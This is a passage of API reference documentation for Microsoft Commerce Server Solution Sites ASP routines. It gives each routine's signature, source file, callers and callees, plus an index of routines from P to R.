Routines Called

None.

Called By

htmRenderCategoryPage

PrepareCatalogSection

Remarks

If the oCategory parameter is Nothing, this function returns the Recordset object returned by the RootCategories property of the catalog.


mscsNewRegisteredUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and then returns a reference to a ProfileObject object for a new user.

Definition

Function mscsNewRegisteredUserProfile(
  byVal sLoginName,
  byVal sLoginPassword
)

Defined in File

login\newuser.asp

Routines Called

GetQualifiedName

UpdateUserProfile

Called By

mscsTransferGuestUserProfile

PrepareNewUserPage


mscsTransferGuestUserProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to retrieve a profile for the current user. If found, this function updates the profile to reflect the fact that the user is now registered. If not found, this function creates and initializes a profile for the new user. In both cases, the resulting ProfileObject object is returned.

Definition

Function mscsTransferGuestUserProfile(
  byVal sLoginName,
  byVal sLoginPassword
)

Defined in File

login\newuser.asp

Routines Called

GetCurrentUserProfile

GetQualifiedName

mscsNewRegisteredUserProfile

UpdateUserProfile

Called By

PrepareNewUserPage


mscsUserCatalogs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object that contains the catalogs associated with the current user.

Definition

Function mscsUserCatalogs()

Defined in File

include\catalog.asp

Routines Called

None.

Called By

arrSearchDept

PrepareCatalogSection

sUserCatalogsAsString


mscsUserCatalogsetID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the ID of the catalog set associated with the current user. If it is not found, the ID of the catalog set associated with the user's organization is returned. If it is not found, the ID of the default catalog set for the type of the current user is returned.

Definition

Function mscsUserCatalogsetID()

Defined in File

include\catalog.asp

Routines Called

GetCurrentUserProfile

rsGetProfileByKey

Called By

bFullTextResultsAreCached

bIsSearchDeptPageCached

EnsureUserHasRightsToCatalog

Main (default.asp)

PrepareRenderMenu


mscsUserCatalogsFromID - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a Recordset object containing the catalogs associated catalog set ID specified by the CatalogSetID parameter.

Definition

Function mscsUserCatalogsFromID(
  byVal CatalogSetID
)

Defined in File

include\catalog.asp

Routines Called

None.

Called By

PrepareDefaultPage


oCachedDiscountProductInfo - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function serves as a caching wrapper for function listGetShownProductsInfo. It attempts to retrieve the requested information from the "DiscountProductInfo" cache, and if not found, generates it, caches it, and returns it.

Definition

Function oCachedDiscountProductInfo(
  sCatalogName,
  sCategoryName,
  nPageNumber,
  sProductID
)

Defined in File

template\discount.asp

Routines Called

CacheObject

listGetShownProductsInfo

LookupCachedObject

Called By

GetShownProductsDetails


oGetBizDataObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an instance of the BusinessDataAdmin object and returns a reference to it, calling its Connect method before returning.

Definition

Function oGetBizDataObject()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

dictGetProfileSchemaForAllProfileTypes


oGetGenIDObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an instance of the GenID object and returns a reference to it.

Definition

Function oGetGenIDObject()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


oGetOpenConnectionObject - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an ADO Connection object and returns a reference to it, opening a connection to the Commercer Server OLEDB Provider before returning.

Definition

Function oGetOpenConnectionObject()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

Remarks

The performance characterstics of the Commerce Provider dictate that the Solution Sites use a global connection. Most other providers recommend the creation of connections on a per-page basis.


oGetProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns an XML DOMDocument object that contains the profile specified by the sProfileName parameter.

Definition

Function oGetProfile(
  byVal oBizData,
  byVal sProfileName
)

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

dictGetProfileSchemaForAllProfileTypes


oGetSiteTermOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns a SimpleList object of Dictionary objects, where each dictionary contains a single key/value pair. Each key/value pair represents the display name and value of one site term choice associated with the property specified by the sPropertyName parameter.

Definition

Function oGetSiteTermOptions (
  byVal sPropertyName,
  byRef oProfileDefsCatalog,
  byRef oSiteTermsProfile
)

Defined in File

include\global_siteterms_lib.asp

Routines Called

bIsSiteTerm

sGetReferenceString

Called By

dictGetPropertySchema


OptOut - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub adds the e-mail recipient specified by the rcp_email parameter to the opt-out list specified by the campitem_id parameter. If the campitem_id parameter is Null, a site-wide optout is performed.

Definition

Sub OptOut(
  rcp_email,
  campitem_id
)

Defined in File

opt-out.asp

Routines Called

CreateOptOutList

ErrorOut

GetOptOutList

SetOptOutList

Called By

Main (opt-out.asp)


OrderListActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub serves as a wrapper for the sub InitializePagingVariables, passing its parameters through as is, and passing False for the bIsProfilePage parameter of sub InitializePagingVariables.

Definition

Sub OrderListActionHandler(
  byVal sAction,
  byRef iPageNumber,
  byRef iTotalPages
)

Defined in File

services\customer\orders.asp

Routines Called

InitializePagingVariables

Called By

Main (services\customer\orders.asp)


P - R

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters P through R.

Routine | File
ParseRequestForm | _recvpo.asp
PasswordActionHandlers | services\change_password.asp
PeekField | product.asp
PerformSpecificationSearch | stepsrch.asp
PopulateOrderSearchCriteria | services\include\lib.asp
PopulateProfileSearchCriteria | services\include\lib.asp
PredictedPropToHREF | basket.asp
PrepareAddAction | services\include\edit_handlers.asp
PrepareCatalogSection | template\menu.asp
PrepareCloseAction | services\include\edit_handlers.asp
PrepareCloseOrderDetailsAction | services\include\order_handlers.asp
PrepareCopyAction | services\include\edit_handlers.asp
PrepareDefaultPage | default.asp
PrepareDeleteAction | services\include\edit_handlers.asp
PrepareDeleteAllAction | services\include\edit_handlers.asp
PrepareDeselectAllAction | services\include\edit_handlers.asp
PrepareEditAction | services\include\edit_handlers.asp
PrepareEditAllAction | services\include\edit_handlers.asp
PrepareInsertProfile | services\include\edit_handlers.asp
PrepareLoginPage | login\login.asp
PrepareLoginSection | template\menu.asp
PrepareLogoffPage | login\logoff.asp
PrepareNewUserPage | login\newuser.asp
PrepareOrderDetailsAction | services\include\order_handlers.asp
PrepareOrderList | services\include\logic_orders.asp
PreparePickShipForm | pickship.asp
PrepareRenderMenu | template\menu.asp
PrepareSaveAction | services\include\edit_handlers.asp
PrepareSaveAllAction | services\include\edit_handlers.asp
PrepareSaveChangesConfirmation | services\include\messagebox_handlers.asp
PrepareSaveProfiles | services\include\edit_handlers.asp
PrepareSelectActionHandlerForEdit | services\include\edit_handlers.asp
PrepareSelectAllAction | services\include\edit_handlers.asp
PrepareSelectedAction | services\include\edit_handlers.asp
PrepareShippingMethods | pickship.asp
PrepareSpecificationSearch | stepsrch.asp
ProfileRefresh | RefreshApp.asp
PTag | include\html_lib.asp
RecordClickToBasket | redir.asp
RedirectOrderDetailsForIDs | services\include\order_handlers.asp
ReDirectToPage | services\include\lib.asp
RedirectToPOConfirmation | po.asp
RelocateRecordPointer2 | services\include\render_list.asp
RelocateRecordPointer | services\include\lib.asp
RemoveBlankItemsFromArray | include\std_string_lib.asp
RemoveCreditCardInfo | po.asp
RemoveEmptyOrderForms | include\std_ordergrp_lib.asp
RemovePurchaseOrderInfo | crdtcard.asp
RenderBasketPage | basket.asp
RenderCatalogLink | include\catalog.asp
RenderCatalogURL | include\catalog.asp
RenderCategoryLink | include\catalog.asp
RenderCategoryURL | include\catalog.asp
RenderCheckBox | include\html_lib.asp
RenderDetailedInfoList | error\500error.asp
RenderDiscounts | template\discount.asp
RenderElement | include\html_lib.asp
RenderErrorType | error\500error.asp
RenderForm | include\html_lib.asp
RenderHiddenField | include\html_lib.asp
RenderImageButton | include\html_lib.asp
RenderImage | include\html_lib.asp
RenderLink | include\html_lib.asp
RenderListBox | include\html_lib.asp
RenderListBoxFromArray | include\html_lib.asp
RenderListBoxFromSimpleList | include\html_lib.asp
RenderListFromSimpleList | include\html_lib.asp
RenderNavbar | template\navbar.inc
RenderPageInfo | error\500error.asp
RenderPasswordBox | include\html_lib.asp
RenderPostData | error\500error.asp
RenderPreFormattedText | include\html_lib.asp
RenderProductLink | include\catalog.asp
RenderProductURL | include\catalog.asp
RenderRadioButton | include\html_lib.asp
RenderResetButton | include\html_lib.asp
RenderSearchResultRow | include\catalog.asp
RenderSearchResults | include\catalog.asp
RenderSubmitButton | include\html_lib.asp
RenderTable | include\html_lib.asp
RenderTableDataRow | include\html_lib.asp
RenderTableHeaderRow | include\html_lib.asp
RenderTableRow | include\html_lib.asp
RenderTextBox | include\html_lib.asp
RenderText | include\html_lib.asp
RenderTime | error\500error.asp
RenderUnorderedList | include\html_lib.asp
RenderUnorderedListFromSimpleList | include\html_lib.asp
rowRenderAdvancedSearchOptionsForOrders | services\include\render_orders.asp
rowRenderBlankProperty | services\include\render_edit_blank.asp
rowRenderEditSheetBlankLine | services\include\render_common.asp
rowRenderHeader | services\include\render_common.asp
rowRenderHiddenProperty | services\include\render_edit_common.asp
rowRenderLineItemHeader | services\include\render_orders.asp
rowRenderListHeading | services\include\render_list.asp
rowRenderListHeadingForOrders | services\include\render_orders.asp
rowRenderMessageBoxPageContents | services\include\render_messagebox.asp
rowRenderProperty | services\include\render_edit_common.asp
rowRenderPropertyGroup | services\include\render_edit_common.asp
rowRenderPropertyTip | services\include\render_edit_common.asp
rowRenderReadOnlyProperty | services\include\render_edit_common.asp
rowRenderSearchOptionForDate | services\include\render_common.asp
rowRenderSearchOptionForInteger | services\include\render_common.asp
rowRenderSearchOptionForString | services\include\render_common.asp
rowRenderSimpleSearchOptionsForOrders | services\include\render_orders.asp
rowRenderStatusInfo | services\include\render_common.asp
rowsRenderAdvanceSearchOptionsForProfiles | services\include\render_list.asp
rowsRenderSimpleSearchOptionsForProfiles | services\include\render_list.asp
rsFreeTextSearch | include\catalog.asp
rsGetOrderDetails | services\include\requisition.asp
rsGetOrdersList | services\include\requisition.asp
rsGetOrgDetails | services\include\get_profiles.asp
rsGetProfileByKey | include\std_profile_lib.asp
rsGetProfile | include\std_profile_lib.asp
rsGetProfileDetails | services\include\get_profiles.asp
rsGetProfilesList | services\include\get_profiles.asp
rsGetShippingMethods | pickship.asp
rsGetUserDetails | services\include\get_profiles.asp
RsToDict | include\std_util_lib.asp
RunMtsPipeline | include\std_pipeline_lib.asp
RunOrderPipeline | _recvpo.asp


ParseRequestForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function converts a posted form to UNICODE characters and returns it as a string.

Definition

Function ParseRequestForm()

Return Value

A string containing the posted form, converted to UNICODE characters.

Defined in File

_recvpo.asp

Routines Called

None.

Called By

Main (_recvpo.asp)


PasswordActionHandlers - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function distributes the actual work to one of three other functions based on the value of the sAction parameter, and the return value of those functions is returned as the return value of this function.

Definition

Function PasswordActionHandlers(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs
)

Return Value

This function returns the value returned by one of the three functions ChangeActionHandler, UpdatePasswordActionHandler, or htmCancelUpdatePasswordAction.

Defined in File

services\change_password.asp

Routines Called

ChangeActionHandler

GenerateURL

htmCancelUpdatePasswordAction

UpdatePasswordActionHandler

Called By

Main (services\change_password.asp)

Remarks

If the sAction parameter is not equal to CHANGE_ACTION, SAVE_ACTION, or CANCEL_ACTION, the user is redirected to an error page.


PeekField - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function attempts to read a field from a Recordset object. If the field does not exist, it returns Null.

Definition

Function PeekField(
  byVal rs,
  byVal sFieldName
)

Defined in File

product.asp

Routines Called

None.

Called By

htmRenderUserDefinedProductProperties


PerformSpecificationSearch - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub provides business logic to help perform a specification search.

Definition

Sub PerformSpecificationSearch(
  byRef bViewResults,
  byRef oCatalog,
  byRef rsResults,
  byRef rsFields,
  byRef iMatchesFound,
  byVal sSearchHandle,
  byRef bClosestMatches
)

Defined in File

stepsrch.asp

Routines Called

bClickedViewButton

Called By

PrepareSpecificationSearch


PopulateOrderSearchCriteria - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves search criteria related to an order from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.

Definition

Sub PopulateOrderSearchCriteria(
  byRef oSearchDictionary
)

Defined in File

services\include\lib.asp

Routines Called

bInvalidDate

GetRequestString

Called By

GetSearchDictionaryForThisPage


PopulateProfileSearchCriteria - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub retrieves search criteria related to a profile from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.

Definition

Sub PopulateProfileSearchCriteria(
  byRef oSearchDictionary
)

Defined in File

services\include\lib.asp

Routines Called

bInvalidDate

GetRequestString

listCloneProfileSchema

Called By

GetSearchDictionaryForThisPage


PredictedPropToHREF - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function constructs a hyperlink into the catalog from the products recommended by the Predictor resource.

Definition

Function PredictedPropToHREF(
  strProp
)

Defined in File

basket.asp

Routines Called

DoubleQuote

GenerateURL

Called By

htmRenderPredictions


PrepareAddAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its five parameters in preparation for adding a user in Partner Services.

Definition

Sub PrepareAddAction(
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

listCloneProfileSchema

Called By

htmEditPageActionHandlers


PrepareCatalogSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderCatalogSection by initializing the values of the passed parameters.

Definition

Sub PrepareCatalogSection(
  byRef rsCatalogs,
  byRef iCatalogCount,
  byRef oCatalog,
  byRef sCatalogName,
  byRef rsCategories
)

Defined in File

template\menu.asp

Routines Called

GetRecordCount

mscsGetSubCategoriesList

mscsUserCatalogs

Called By

htmRenderMenu

Remarks

This sub is called to prepare for creating the catalog section of the menu area.

The rsCatalogs parameter is initialized to a Recordset object of the catalogs associated with the user, and the iCatalogCount parameter is initialized to the number of catalogs in that Recordset object.

If the number of catalogs is one (1), then the remaining three parameters are set to reference the corresponding Catalog object, the name of the catalog, and a Recordset object of the categories in that catalog, respectively.


PrepareCloseAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmCloseActionHandler by initializing the values of all of the passed parameters other than the first two.

Definition

Sub PrepareCloseAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sActionPage,
  byRef sPreviousAction,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema,
  byRef sSourcePage,
  byRef bDirty
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bIsPropertyValueAdded

bProfileHasChanged

GenerateURL

GetRequestString

iGetCountOfProfiles

listCloneProfileSchema

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareCloseOrderDetailsAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub CloseOrderDetailsActionHandler by initializing the values of the passed parameters.

Definition

Sub PrepareCloseOrderDetailsAction(
  byRef sProfileListPage,
  byRef sSourcePage
)

Defined in File

services\include\order_handlers.asp

Routines Called

GetRequestString

sGetThisPageProperty

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


PrepareCopyAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmCopyActionHandler by initializing the values of all of the passed parameters other than the first two.

Definition

Sub PrepareCopyAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount,
  byRef iStatusID,
  byRef sStatusField,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef sProfileListPage,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

iGetCountOfProfiles

listCloneProfileSchema

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareDefaultPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderDefaultPage by initializing the values of all of the passed parameters other than the first one.

Definition

Sub PrepareDefaultPage(
  byVal CatalogSetID,
  byRef rsCatalogs,
  byRef iCatalogCount,
  byRef sCatalogName,
  byRef oCatalog,
  byRef oCategory,
  byRef rsProducts,
  byRef nPageNumber
)

Defined in File

default.asp

Routines Called

GetRecordCount

mscsGetCategoryObject

mscsGetProductList

mscsUserCatalogsFromID

Called By

Main (default.asp)


PrepareDeleteAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmDeleteActionHandler by initializing the values of the last two parameters.

Definition

Sub PrepareDeleteAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sProfileListPage,
  byRef iProfileCount
)

Defined in File

services\include\edit_handlers.asp

Routines Called

DeleteSelectedProfiles

iGetCountOfProfiles

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Remarks

If the sSubAction parameter is set to MSGBOX_ACTION_YES, the sub DeleteSelectedProfiles is called to delete the profiles specified by the sProfileIDs parameter.


PrepareDeleteAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub DeleteAllActionHandler by initializing the value of its one parameter.

Definition

Sub PrepareDeleteAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

DeleteAllProfiles

dictGetSearchDictionaryForPage

sGetThisPageProperty

Called By

htmEditPageActionHandlers

Remarks

If the user chose "yes" in the associated message box, the sub DeleteAllProfiles is called to delete all profiles matching the search criteria.


PrepareDeselectAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub DeSelectAllActionHandler by initializing the value of its one parameter.

Definition

Sub PrepareDeselectAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareEditAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmEditAction by initializing the values of the last two parameters.

Definition

Sub PrepareEditAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

iGetCountOfProfiles

listCloneProfileSchema

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)

Remarks

The listProfileSchema parameter is only initialized if the iProfileCount parameter is initialized to a value greater than zero (0).


PrepareEditAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes the parameters passed to it.

Definition

Sub PrepareEditAllAction(
  byRef iStatusID,
  byRef sStatusField,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

listCloneProfileSchema

Called By

None.


PrepareInsertProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmInsertProfile by initializing the values of all parameters other than sSubAction and sProfileIDs.

Definition

Sub PrepareInsertProfile(
  byVal sSubAction,
  byRef bInserted,
  byRef sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bCheckIfProfileExists

bInsertProfile

listCloneProfileSchema

ValidateFields

Called By

htmSaveActionHandler

Remarks

This sub checks whether the specified profile exists before attempting to add it.

The sStatusField and iStatusID parameters are used to indicate errors.


PrepareLoginPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLoginPage by initializing the values of all parameters passed to it.

Definition

Sub PrepareLoginPage(
  byRef bSuccess,
  byRef bMustTransferBasket,
  byRef bDisplayGuestOption,
  byRef bDisplayNewUserRegistrationOption,
  byRef sUserID,
  byRef iErrorLevel,
  byRef rsLoginUser,
  byRef mscsGuestUser,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds,
  byRef listFrmErrs,
  byRef urlAction
)

Defined in File

login\login.asp

Routines Called

GenerateURL

GetCurrentUserProfile

GetQualifiedName

GetSubmittedFieldValues

IsFormSubmitted

MoveBasketItems

SetTestCookie

ValidateSubmittedLoginData

Called By

Main (login\login.asp)

Remarks

This sub performs a lot of processing, including retrieving data from a login form, if present, basket transfer where appropriate, and cookie and ticket processing.


PrepareLoginSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLoginSection by initializing the values of the passed parameters.

This function gets the current user profile and sets the sLoginName parameter to the current user name.

Definition

Sub PrepareLoginSection(
  byRef sAuthUser,
  byRef bFormLoginSupported,
  byRef mscsUser,
  byRef sLoginName
)

Defined in File

template\menu.asp

Routines Called

EnsureUserProfile

GetQualifiedName

Called By

htmRenderMenu

Remarks

This sub is called to prepare for the creation of the login section of the menu area.

The mscsUser and sLoginName parameters are not initialized in all cases.


PrepareLogoffPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderLogoffPage by initializing the values of the parameters passed to it.

Definition

Sub PrepareLogoffPage(
  byRef bReEnterWithFormLogin,
  byRef bReEnterAsGuestOption
)

Defined in File

login\logoff.asp

Routines Called

GenerateURL

Called By

Main (login\logoff.asp)

Remarks

This function logs off the current user by causing the associated cookies to expire.


PrepareNewUserPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderNewUserPage by initializing the values of the parameters passed to it. It also validates submitted form data and registers the user.

Definition

Sub PrepareNewUserPage(
  byRef urlAction,
  byRef dictFldVals,
  byRef dictFldErrs
)

Defined in File

login\newuser.asp

Routines Called

GenerateURL

GetCurrentUserProfile

GetQualifiedName

GetSubmittedFieldValues

IsFormSubmitted

iValidateSubmittedRegistrationData

mscsNewRegisteredUserProfile

mscsTransferGuestUserProfile

SetTestCookie

Called By

Main (login\newuser.asp)

Remarks

If the submitted form data is invalid or no form was submitted, this sub prepares to render the new user form.


PrepareOrderDetailsAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmOrderDetailsActionHandler by initializing the value of the iProfileCount parameter.

Definition

Sub PrepareOrderDetailsAction(
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iProfileCount
)

Defined in File

services\include\order_handlers.asp

Routines Called

iGetCountOfProfiles

Called By

Main (services\customer\view_order.asp)

Main (services\partner\view_order.asp)


PrepareOrderList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the calls to the routines formRenderOrderSearchOptions, formRenderOrdersListContents, rowRenderStatusInfo, and tableRenderFooterInfo by initializing the values of all parameters other than the first.

Definition

Sub PrepareOrderList(
  byVal sAction,
  byRef dictSearchOptions,
  byRef mscsUserProfile,
  byRef sStatusField,
  byRef iStatusID,
  byRef rsOrders,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages,
  byRef sCriteria,
  byRef sTargetPage
)

Defined in File

services\include\logic_orders.asp

Routines Called

EnsureUserProfile

GetRequestString

GetSearchDictionaryForThisPage

rsGetOrdersList

sGetThisPageProperty

Called By

htmRenderOrderList


PreparePickShipForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderPickshipForm by initializing the values of the parameters passed to it.

Definition

Sub PreparePickShipForm(
  byRef mscsOrderGrp,
  byRef objContext,
  byRef dictAggregate,
  byRef bNoMethodsAvailable
)

Defined in File

pickship.asp

Routines Called

CatchErrors (pickship.asp)

dictAggregatePreviews

GenerateURL

GetPipelineLogFile

LoadBasket

rsGetShippingMethods

RunMtsPipeline

Called By

Main (pickship.asp)

Remarks

This sub performs a lot of processing in preparation for rendering the shipping method form, including loading the basket, running the basket pipeline, and creating and populating a Shipping object.


PrepareRenderMenu - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmRenderMenu by initializing the values of the parameters passed to it.

Definition

Sub PrepareRenderMenu(
  byRef mscsUser,
  byRef CatalogSetID
)

Defined in File

template\menu.asp

Routines Called

GetCurrentUserProfile

mscsUserCatalogsetID

Called By

This routine is called by code outside of any routine (sub or function) in the file template\menu.asp.


PrepareSaveAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub currently performs no processing at all, but is called before calls to the function htmSaveActionHandler. If you modify the latter function and need to perform special preparation before calling it, consider adding the preparation code to this function.

Definition

Sub PrepareSaveAction()

Defined in File

services\include\edit_handlers.asp

Routines Called

None.

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


PrepareSaveAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSaveAllActionHandler by initializing the values of the parameters passed to it. When the profile changes are found to be valid, the sub SaveAllSelectedProfiles is called to save the changes.

Definition

Sub PrepareSaveAllAction(
  byRef StatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

dictGetSearchDictionaryForPage

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

sGetThisPageProperty

ValidateFields

Called By

htmSaveActionHandler

Remarks

When found to be valid, this sub saves the new property values entered by the user in all profiles returned from the search criteria in the corresponding list page.


PrepareSaveChangesConfirmation - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmChangePasswordActionHandler by initializing the values of all parameters passed to it other than the first. This sub is also called by PrepareSelectActionHandlerForEdit to help initialize its parameters.

Definition

Sub PrepareSaveChangesConfirmation(
  byVal sSubAction,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\messagebox_handlers.asp

Routines Called

GetRequestString

listCloneProfileSchema

ValidateFields

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

PrepareSelectActionHandlerForEdit


PrepareSaveProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSaveProfiles by initializing the values of all parameters passed to it other than the first three.

Definition

Sub PrepareSaveProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef bUpdated,
  byRef sSourcePage,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

bCheckIfProfileExists

bSaveProfileDetails

GetRequestString

iGetCountOfProfiles

listCloneProfileSchema

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

rsGetProfileDetails

ValidateFields

Called By

htmSaveActionHandler


PrepareSelectActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSelectActionHandlerForEdit by initializing the values of all parameters passed to it other than the first three.

Definition

Sub PrepareSelectActionHandlerForEdit(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sActionPage,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

GenerateURL

PrepareSaveChangesConfirmation

sGetSelectActionPropertyName

Called By

Main (services\partner\account.asp)


PrepareSelectAllAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the sub SelectAllActionHandler by initializing the value of the sProfileListPage parameter.

Definition

Sub PrepareSelectAllAction(
  byRef sProfileListPage
)

Defined in File

services\include\edit_handlers.asp

Routines Called

sGetThisPageProperty

Called By

htmEditPageActionHandlers


PrepareSelectedAction - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub prepares for the call to the function htmSelectedActionHandlerForEdit by initializing the values of the last three parameters.

Definition

Sub PrepareSelectedAction(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef sStatusField,
  byRef iStatusID,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues,
  byRef listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

